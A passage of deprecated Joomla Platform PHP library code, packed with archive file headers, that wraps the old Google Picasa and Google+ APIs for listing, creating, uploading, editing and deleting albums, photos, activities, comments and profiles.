return false;
}
/**
* Method to get the title of the album
*
* @return string Album title
*
* @since 3.1.4
*/
public function getTitle()
{
return (string) $this->xml->children()->title;
}
/**
* Method to get the summary of the album
*
* @return string Album summary
*
* @since 3.1.4
*/
public function getSummary()
{
return (string) $this->xml->children()->summary;
}
/**
* Method to get the location of the album
*
* @return string Album location
*
* @since 3.1.4
*/
public function getLocation()
{
return (string) $this->xml->children('gphoto',
true)->location;
}
/**
* Method to get the access level of the album
*
* @return string Album access level
*
* @since 3.1.4
*/
public function getAccess()
{
return (string) $this->xml->children('gphoto',
true)->access;
}
/**
* Method to get the time of the album
*
* @return double Album time
*
* @since 3.1.4
*/
public function getTime()
{
return (double) $this->xml->children('gphoto',
true)->timestamp / 1000;
}
/**
* Method to set the title of the album
*
* @param string $title New album title
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setTitle($title)
{
$this->xml->children()->title = $title;
return $this;
}
/**
* Method to set the summary of the album
*
* @param string $summary New album summary
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setSummary($summary)
{
$this->xml->children()->summary = $summary;
return $this;
}
/**
* Method to set the location of the album
*
* @param string $location New album location
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setLocation($location)
{
$this->xml->children('gphoto', true)->location =
$location;
return $this;
}
/**
* Method to set the access level of the album
*
* @param string $access New album access
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setAccess($access)
{
$this->xml->children('gphoto', true)->access =
$access;
return $this;
}
/**
* Method to set the time of the album
*
* @param int $time New album time
*
* @return JGoogleDataPicasaAlbum The object for method chaining
*
* @since 3.1.4
*/
public function setTime($time)
{
$this->xml->children('gphoto', true)->timestamp =
$time * 1000;
return $this;
}
/**
* Method to modify a Picasa Album
*
* @param string $match Optional eTag matching parameter
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws Exception
*/
public function save($match = '*')
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
if ($match === true)
{
$match = $this->xml->xpath('./@gd:etag');
$match = $match[0];
}
try
{
$headers = array('GData-Version' => 2,
'Content-type' => 'application/atom+xml',
'If-Match' => $match);
$jdata = $this->query($url, $this->xml->asXml(), $headers,
'put');
}
catch (Exception $e)
{
if (strpos($e->getMessage(), 'Error code 412 received
requesting data: Mismatch: etags') === 0)
{
throw new RuntimeException("Etag match failed: `$match`.",
$e->getCode(), $e);
}
throw $e;
}
$this->xml = $this->safeXml($jdata->body);
return $this;
}
else
{
return false;
}
}
/**
* Refresh Picasa Album
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function refresh()
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$this->xml = $this->safeXml($jdata->body);
return $this;
}
else
{
return false;
}
}
/**
* Method to retrieve a list of Picasa Photos
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listPhotos()
{
if ($this->isAuthenticated())
{
$url =
$this->getLink('http://schemas.google.com/g/2005#feed');
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$xml = $this->safeXml($jdata->body);
if (isset($xml->children()->entry))
{
$items = array();
foreach ($xml->children()->entry as $item)
{
$items[] = new JGoogleDataPicasaPhoto($item, $this->options,
$this->auth);
}
return $items;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Add photo
*
* @param string $file Path of file to upload
* @param string $title Title to give to file (defaults to filename)
* @param string $summary Description of the file
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws RuntimeException
*/
public function upload($file, $title = '', $summary =
'')
{
if ($this->isAuthenticated())
{
jimport('joomla.filesystem.file');
$title = $title != '' ? $title : JFile::getName($file);
if (!($type = $this->getMime($file)))
{
throw new RuntimeException('Inappropriate file type.');
}
if (!($data = file_get_contents($file)))
{
throw new RuntimeException("Cannot access file: `$file`");
}
$xml = new SimpleXMLElement('<entry></entry>');
$xml->addAttribute('xmlns',
'http://www.w3.org/2005/Atom');
$xml->addChild('title', $title);
$xml->addChild('summary', $summary);
$cat = $xml->addChild('category', '');
$cat->addAttribute('scheme',
'http://schemas.google.com/g/2005#kind');
$cat->addAttribute('term',
'http://schemas.google.com/photos/2007#photo');
$post = "Media multipart posting\n";
$post .= "--END_OF_PART\n";
$post .= "Content-Type: application/atom+xml\n\n";
$post .= $xml->asXml() . "\n";
$post .= "--END_OF_PART\n";
$post .= "Content-Type: {$type}\n\n";
$post .= $data;
$jdata = $this->query($this->getLink(), $post,
array('GData-Version' => 2, 'Content-Type:
multipart/related'), 'post');
return new JGoogleDataPicasaPhoto($this->safeXml($jdata->body),
$this->options, $this->auth);
}
else
{
return false;
}
}
/**
* Add photo
*
* @param string $file Filename
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
protected function getMime($file)
{
switch (strtolower(JFile::getExt($file)))
{
case 'bmp':
case 'bm':
return 'image/bmp';
case 'gif':
return 'image/gif';
case 'jpg':
case 'jpeg':
case 'jpe':
case 'jif':
case 'jfif':
case 'jfi':
return 'image/jpeg';
case 'png':
return 'image/png';
case '3gp':
return 'video/3gpp';
case 'avi':
return 'video/avi';
case 'mov':
case 'moov':
case 'qt':
return 'video/quicktime';
case 'mp4':
case 'm4a':
case 'm4p':
case 'm4b':
case 'm4r':
case 'm4v':
return 'video/mp4';
case 'mpg':
case 'mpeg':
case 'mp1':
case 'mp2':
case 'mp3':
case 'm1v':
case 'm1a':
case 'm2a':
case 'mpa':
case 'mpv':
return 'video/mpeg';
case 'asf':
return 'video/x-ms-asf';
case 'wmv':
return 'video/x-ms-wmv';
default:
return false;
}
}
}
PKNn�[���google/data/picasa/photo.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Picasa data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPicasaPhoto extends JGoogleData
{
/**
* @var SimpleXMLElement The photo's XML
* @since 3.1.4
*/
protected $xml;
/**
* Constructor.
*
* @param SimpleXMLElement $xml XML from Google
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(SimpleXMLElement $xml, Registry $options =
null, JGoogleAuth $auth = null)
{
$this->xml = $xml;
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://picasaweb.google.com/data/');
}
}
/**
* Method to delete a Picasa photo
*
* @param mixed $match Check for most up to date photo
*
* @return boolean Success or failure.
*
* @since 3.1.4
* @throws Exception
* @throws RuntimeException
* @throws UnexpectedValueException
*/
public function delete($match = '*')
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
if ($match === true)
{
$match = $this->xml->xpath('./@gd:etag');
$match = $match[0];
}
try
{
$jdata = $this->query($url, null, array('GData-Version'
=> 2, 'If-Match' => $match), 'delete');
}
catch (Exception $e)
{
if (strpos($e->getMessage(), 'Error code 412 received
requesting data: Mismatch: etags') === 0)
{
throw new RuntimeException("Etag match failed: `$match`.",
$e->getCode(), $e);
}
throw $e;
}
if ($jdata->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
$this->xml = null;
return true;
}
else
{
return false;
}
}
/**
* Method to get the photo link
*
* @param string $type Type of link to return
*
* @return string Link or false on failure
*
* @since 3.1.4
*/
public function getLink($type = 'edit')
{
$links = $this->xml->link;
foreach ($links as $link)
{
if ($link->attributes()->rel == $type)
{
return (string) $link->attributes()->href;
}
}
return false;
}
/**
* Method to get the photo's URL
*
* @return string Link
*
* @since 3.1.4
*/
public function getUrl()
{
return (string)
$this->xml->children()->content->attributes()->src;
}
/**
* Method to get the photo's thumbnails
*
* @return array An array of thumbnails
*
* @since 3.1.4
*/
public function getThumbnails()
{
$thumbs = array();
foreach ($this->xml->children('media',
true)->group->thumbnail as $item)
{
$url = (string) $item->attributes()->url;
$width = (int) $item->attributes()->width;
$height = (int) $item->attributes()->height;
$thumbs[$width] = array('url' => $url, 'w' =>
$width, 'h' => $height);
}
return $thumbs;
}
/**
* Method to get the title of the photo
*
* @return string Photo title
*
* @since 3.1.4
*/
public function getTitle()
{
return (string) $this->xml->children()->title;
}
/**
* Method to get the summary of the photo
*
* @return string Photo description
*
* @since 3.1.4
*/
public function getSummary()
{
return (string) $this->xml->children()->summary;
}
/**
* Method to get the access level of the photo
*
* @return string Photo access level
*
* @since 3.1.4
*/
public function getAccess()
{
return (string) $this->xml->children('gphoto',
true)->access;
}
/**
* Method to get the time of the photo
*
* @return double Photo time
*
* @since 3.1.4
*/
public function getTime()
{
return (double) $this->xml->children('gphoto',
true)->timestamp / 1000;
}
/**
* Method to get the size of the photo
*
* @return int Photo size
*
* @since 3.1.4
*/
public function getSize()
{
return (int) $this->xml->children('gphoto',
true)->size;
}
/**
* Method to get the height of the photo
*
* @return int Photo height
*
* @since 3.1.4
*/
public function getHeight()
{
return (int) $this->xml->children('gphoto',
true)->height;
}
/**
* Method to get the width of the photo
*
* @return int Photo width
*
* @since 3.1.4
*/
public function getWidth()
{
return (int) $this->xml->children('gphoto',
true)->width;
}
/**
* Method to set the title of the photo
*
* @param string $title New photo title
*
* @return JGoogleDataPicasaPhoto The object for method chaining
*
* @since 3.1.4
*/
public function setTitle($title)
{
$this->xml->children()->title = $title;
return $this;
}
/**
* Method to set the summary of the photo
*
* @param string $summary New photo description
*
* @return JGoogleDataPicasaPhoto The object for method chaining
*
* @since 3.1.4
*/
public function setSummary($summary)
{
$this->xml->children()->summary = $summary;
return $this;
}
/**
* Method to set the access level of the photo
*
* @param string $access New photo access level
*
* @return JGoogleDataPicasaPhoto The object for method chaining
*
* @since 3.1.4
*/
public function setAccess($access)
{
$this->xml->children('gphoto', true)->access =
$access;
return $this;
}
/**
* Method to set the time of the photo
*
* @param int $time New photo time
*
* @return JGoogleDataPicasaPhoto The object for method chaining
*
* @since 3.1.4
*/
public function setTime($time)
{
$this->xml->children('gphoto', true)->timestamp =
$time * 1000;
return $this;
}
/**
* Method to modify a Picasa Photo
*
* @param string $match Optional eTag matching parameter
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
public function save($match = '*')
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
if ($match === true)
{
$match = $this->xml->xpath('./@gd:etag');
$match = $match[0];
}
try
{
$headers = array('GData-Version' => 2,
'Content-type' => 'application/atom+xml',
'If-Match' => $match);
$jdata = $this->query($url, $this->xml->asXml(), $headers,
'put');
}
catch (Exception $e)
{
if (strpos($e->getMessage(), 'Error code 412 received
requesting data: Mismatch: etags') === 0)
{
throw new RuntimeException("Etag match failed: `$match`.",
$e->getCode(), $e);
}
throw $e;
}
$this->xml = $this->safeXml($jdata->body);
return $this;
}
else
{
return false;
}
}
/**
* Refresh photo data
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function refresh()
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$this->xml = $this->safeXml($jdata->body);
return $this;
}
else
{
return false;
}
}
}
PKNn�[�[�google/data/picasa.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Picasa data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPicasa extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://picasaweb.google.com/data/');
}
}
/**
* Method to retrieve a list of Picasa Albums
*
* @param string $userID ID of user
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listAlbums($userID = 'default')
{
if ($this->isAuthenticated())
{
$url = 'https://picasaweb.google.com/data/feed/api/user/' .
urlencode($userID);
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$xml = $this->safeXml($jdata->body);
if (isset($xml->children()->entry))
{
$items = array();
foreach ($xml->children()->entry as $item)
{
$items[] = new JGoogleDataPicasaAlbum($item, $this->options,
$this->auth);
}
return $items;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to create a Picasa Album
*
* @param string $userID ID of user
* @param string $title New album title
* @param string $access New album access settings
* @param string $summary New album summary
* @param string $location New album location
* @param int $time New album timestamp
* @param array $keywords New album keywords
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
public function createAlbum($userID = 'default', $title =
'', $access = 'private', $summary = '',
$location = '', $time = false, $keywords = array())
{
if ($this->isAuthenticated())
{
$time = $time ? $time : time();
$title = $title != '' ? $title : date('F j, Y');
$xml = new SimpleXMLElement('<entry></entry>');
$xml->addAttribute('xmlns',
'http://www.w3.org/2005/Atom');
$xml->addChild('title', $title);
$xml->addChild('summary', $summary);
$xml->addChild('gphoto:location', $location,
'http://schemas.google.com/photos/2007');
$xml->addChild('gphoto:access', $access);
$xml->addChild('gphoto:timestamp', $time);
$media = $xml->addChild('media:group', '',
'http://search.yahoo.com/mrss/');
$media->addChild('media:keywords', implode(', ',
$keywords));
$cat = $xml->addChild('category', '');
$cat->addAttribute('scheme',
'http://schemas.google.com/g/2005#kind');
$cat->addAttribute('term',
'http://schemas.google.com/photos/2007#album');
$url = 'https://picasaweb.google.com/data/feed/api/user/' .
urlencode($userID);
$jdata = $this->query($url, $xml->asXml(),
array('GData-Version' => 2, 'Content-type' =>
'application/atom+xml'), 'post');
$xml = $this->safeXml($jdata->body);
return new JGoogleDataPicasaAlbum($xml, $this->options,
$this->auth);
}
else
{
return false;
}
}
/**
* Get Picasa Album
*
* @param string $url URL of album to get
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getAlbum($url)
{
if ($this->isAuthenticated())
{
$jdata = $this->query($url, null, array('GData-Version'
=> 2));
$xml = $this->safeXml($jdata->body);
return new JGoogleDataPicasaAlbum($xml, $this->options,
$this->auth);
}
else
{
return false;
}
}
}
PKNn�[�MM�nngoogle/data/plus/activities.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google+ data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPlusActivities extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/plus.me');
}
}
/**
* List all of the activities in the specified collection for a particular
user.
*
* @param string $userId The ID of the user to get activities
for. The special value "me" can be used to indicate the
authenticated user.
* @param string $collection The collection of activities to list.
Acceptable values are: "public".
* @param string $fields Used to specify the fields you want
returned.
* @param integer $max The maximum number of people to include
in the response, used for paging.
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
* @param string $alt Specifies an alternative representation
type. Acceptable values are: "json" - Use JSON format (default)
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function listActivities($userId, $collection, $fields = null, $max
= 10, $token = null, $alt = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') . 'people/' .
$userId . '/activities/' . $collection;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
// Check if max is specified.
if ($max != 10)
{
$url .= (strpos($url, '?') === false) ?
'?maxResults=' : '&maxResults=';
$url .= $max;
}
// Check if token is specified.
if ($token)
{
$url .= (strpos($url, '?') === false) ?
'?pageToken=' : '&pageToken=';
$url .= $token;
}
// Check if alt is specified.
if ($alt)
{
$url .= (strpos($url, '?') === false) ? '?alt=' :
'&alt=';
$url .= $alt;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* Get an activity.
*
* @param string $id The ID of the activity to get.
* @param string $fields Used to specify the fields you want returned.
* @param string $alt Specifies an alternative representation type.
Acceptable values are: "json" - Use JSON format (default)
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function getActivity($id, $fields = null, $alt = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'activities/' . $id;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
// Check if alt is specified.
if ($alt)
{
$url .= (strpos($url, '?') === false) ? '?alt=' :
'&alt=';
$url .= $alt;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* Search all public activities.
*
* @param string $query Full-text search query string.
* @param string $fields Used to specify the fields you want
returned.
* @param string $language Specify the preferred language to search
with. https://developers.google.com/+/api/search#available-languages
* @param integer $max The maximum number of people to include in
the response, used for paging.
* @param string $order Specifies how to order search results.
Acceptable values are "best" and "recent".
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function search($query, $fields = null, $language = null, $max =
10, $order = null, $token = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'activities?query=' . urlencode($query);
// Check if fields is specified.
if ($fields)
{
$url .= '&fields=' . $fields;
}
// Check if language is specified.
if ($language)
{
$url .= '&language=' . $language;
}
// Check if max is specified.
if ($max != 10)
{
$url .= '&maxResults=' . $max;
}
// Check if order is specified.
if ($order)
{
$url .= '&orderBy=' . $order;
}
// Check of token is specified.
if ($token)
{
$url .= '&pageToken=' . $token;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
}
PKNn�[p�g�
�
google/data/plus/comments.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google+ data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPlusComments extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/plus.me');
}
}
/**
* List all of the comments for an activity.
*
* @param string $activityId The ID of the activity to get comments
for.
* @param string $fields Used to specify the fields you want
returned.
* @param integer $max The maximum number of people to include
in the response, used for paging.
* @param string $order The order in which to sort the list of
comments. Acceptable values are "ascending" and
"descending".
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
* @param string $alt Specifies an alternative representation
type. Acceptable values are: "json" - Use JSON format (default)
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function listComments($activityId, $fields = null, $max = 20,
$order = null, $token = null, $alt = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'activities/' . $activityId . '/comments';
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
// Check if max is specified.
if ($max != 20)
{
$url .= (strpos($url, '?') === false) ?
'?maxResults=' : '&maxResults=';
$url .= $max;
}
// Check if order is specified.
if ($order)
{
$url .= (strpos($url, '?') === false) ? '?orderBy='
: '&orderBy=';
$url .= $order;
}
// Check of token is specified.
if ($token)
{
$url .= (strpos($url, '?') === false) ?
'?pageToken=' : '&pageToken=';
$url .= $token;
}
// Check if alt is specified.
if ($alt)
{
$url .= (strpos($url, '?') === false) ? '?alt=' :
'&alt=';
$url .= $alt;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* Get a comment.
*
* @param string $id The ID of the comment to get.
* @param string $fields Used to specify the fields you want returned.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function getComment($id, $fields = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') . 'comments/'
. $id;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
}
PKNn�[�W���google/data/plus/people.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google+ data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPlusPeople extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/plus.me');
}
}
/**
* Get a person's profile.
*
* @param string $id The ID of the person to get the profile for.
The special value "me" can be used to indicate the authenticated
user.
* @param string $fields Used to specify the fields you want returned.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function getPeople($id, $fields = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') . 'people/' .
$id;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* Search all public profiles.
*
* @param string $query Specify a query string for full text
search of public text in all profiles.
* @param string $fields Used to specify the fields you want
returned.
* @param string $language Specify the preferred language to search
with. https://developers.google.com/+/api/search#available-languages
* @param integer $max The maximum number of people to include in
the response, used for paging.
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function search($query, $fields = null, $language = null, $max =
10, $token = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'people?query=' . urlencode($query);
// Check if fields is specified.
if ($fields)
{
$url .= '&fields=' . $fields;
}
// Check if language is specified.
if ($language)
{
$url .= '&language=' . $language;
}
// Check if max is specified.
if ($max != 10)
{
$url .= '&maxResults=' . $max;
}
// Check of token is specified.
if ($token)
{
$url .= '&pageToken=' . $token;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
/**
* List all of the people in the specified collection for a particular
activity.
*
* @param string $activityId The ID of the activity to get the list
of people for.
* @param string $collection The collection of people to list.
Acceptable values are "plusoners" and "resharers".
* @param string $fields Used to specify the fields you want
returned.
* @param integer $max The maximum number of people to include
in the response, used for paging.
* @param string $token The continuation token, used to page
through large result sets. To get the next page of results, set this
* parameter to the value of "nextPageToken" from the
previous response. This token may be of any length.
*
* @return mixed Data from Google
*
* @since 3.1.4
*/
public function listByActivity($activityId, $collection, $fields = null,
$max = 10, $token = null)
{
if ($this->isAuthenticated())
{
$url = $this->getOption('api.url') .
'activities/' . $activityId . '/people/' . $collection;
// Check if fields is specified.
if ($fields)
{
$url .= '?fields=' . $fields;
}
// Check if max is specified.
if ($max != 10)
{
$url .= (strpos($url, '?') === false) ?
'?maxResults=' : '&maxResults=';
$url .= $max;
}
// Check of token is specified.
if ($token)
{
$url .= (strpos($url, '?') === false) ?
'?pageToken=' : '&pageToken=';
$url .= $token;
}
$jdata = $this->auth->query($url);
return json_decode($jdata->body, true);
}
else
{
return false;
}
}
}
PKNn�[X����google/data/plus.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google+ data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPlus extends JGoogleData
{
/**
* @var JGoogleDataPlusPeople Google+ API object for people.
* @since 3.1.4
*/
protected $people;
/**
* @var JGoogleDataPlusActivities Google+ API object for people.
* @since 3.1.4
*/
protected $activities;
/**
* @var JGoogleDataPlusComments Google+ API object for people.
* @since 3.1.4
*/
protected $comments;
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
// Setup the default API url if not already set.
$options->def('api.url',
'https://www.googleapis.com/plus/v1/');
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/plus.me');
}
}
/**
* Magic method to lazily create API objects
*
* @param string $name Name of property to retrieve
*
* @return JGoogleDataPlus Google+ API object (people, activities,
comments).
*
* @since 3.1.4
*/
public function __get($name)
{
switch ($name)
{
case 'people':
if ($this->people == null)
{
$this->people = new JGoogleDataPlusPeople($this->options,
$this->auth);
}
return $this->people;
case 'activities':
if ($this->activities == null)
{
$this->activities = new
JGoogleDataPlusActivities($this->options, $this->auth);
}
return $this->activities;
case 'comments':
if ($this->comments == null)
{
$this->comments = new JGoogleDataPlusComments($this->options,
$this->auth);
}
return $this->comments;
}
}
}
PKNn�[��=�ttgoogle/data.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google API data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
abstract class JGoogleData
{
/**
* @var Registry Options for the Google data object.
* @since 3.1.4
*/
protected $options;
/**
* @var JGoogleAuth Authentication client for the Google data object.
* @since 3.1.4
*/
protected $auth;
/**
* Constructor.
*
* @param Registry $options Google options object.
* @param JGoogleAuth $auth Google data http client object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
$this->options = isset($options) ? $options : new Registry;
$this->auth = isset($auth) ? $auth : new
JGoogleAuthOauth2($this->options);
}
/**
* Method to authenticate to Google
*
* @return boolean True on success.
*
* @since 3.1.4
*/
public function authenticate()
{
return $this->auth->authenticate();
}
/**
* Check authentication
*
* @return boolean True if authenticated.
*
* @since 3.1.4
*/
public function isAuthenticated()
{
return $this->auth->isAuthenticated();
}
/**
* Method to validate XML
*
* @param string $data XML data to be parsed
*
* @return SimpleXMLElement XMLElement of parsed data
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
protected static function safeXml($data)
{
try
{
return new SimpleXMLElement($data, LIBXML_NOWARNING | LIBXML_NOERROR);
}
catch (Exception $e)
{
throw new UnexpectedValueException("Unexpected data received from
Google: `$data`.", $e->getCode(), $e);
}
}
/**
* Method to retrieve a list of data
*
* @param array $url URL to GET
* @param int $maxpages Maximum number of pages to return
* @param string $token Next page token
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
protected function listGetData($url, $maxpages = 1, $token = null)
{
$qurl = $url;
if (strpos($url, '&') && isset($token))
{
$qurl .= '&pageToken=' . $token;
}
elseif (isset($token))
{
$qurl .= 'pageToken=' . $token;
}
$jdata = $this->query($qurl);
$data = json_decode($jdata->body, true);
if ($data && array_key_exists('items', $data))
{
if ($maxpages != 1 &&
array_key_exists('nextPageToken', $data))
{
$data['items'] = array_merge($data['items'],
$this->listGetData($url, $maxpages - 1,
$data['nextPageToken']));
}
return $data['items'];
}
elseif ($data)
{
return array();
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
/**
* Method to retrieve data from Google
*
* @param string $url The URL for the request.
* @param mixed $data The data to include in the request.
* @param array $headers The headers to send with the request.
* @param string $method The type of http request to send.
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
protected function query($url, $data = null, $headers = null, $method =
'get')
{
return $this->auth->query($url, $data, $headers, $method);
}
/**
* Get an option from the JGoogleData instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGoogleData instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGoogleData This object for method chaining.
*
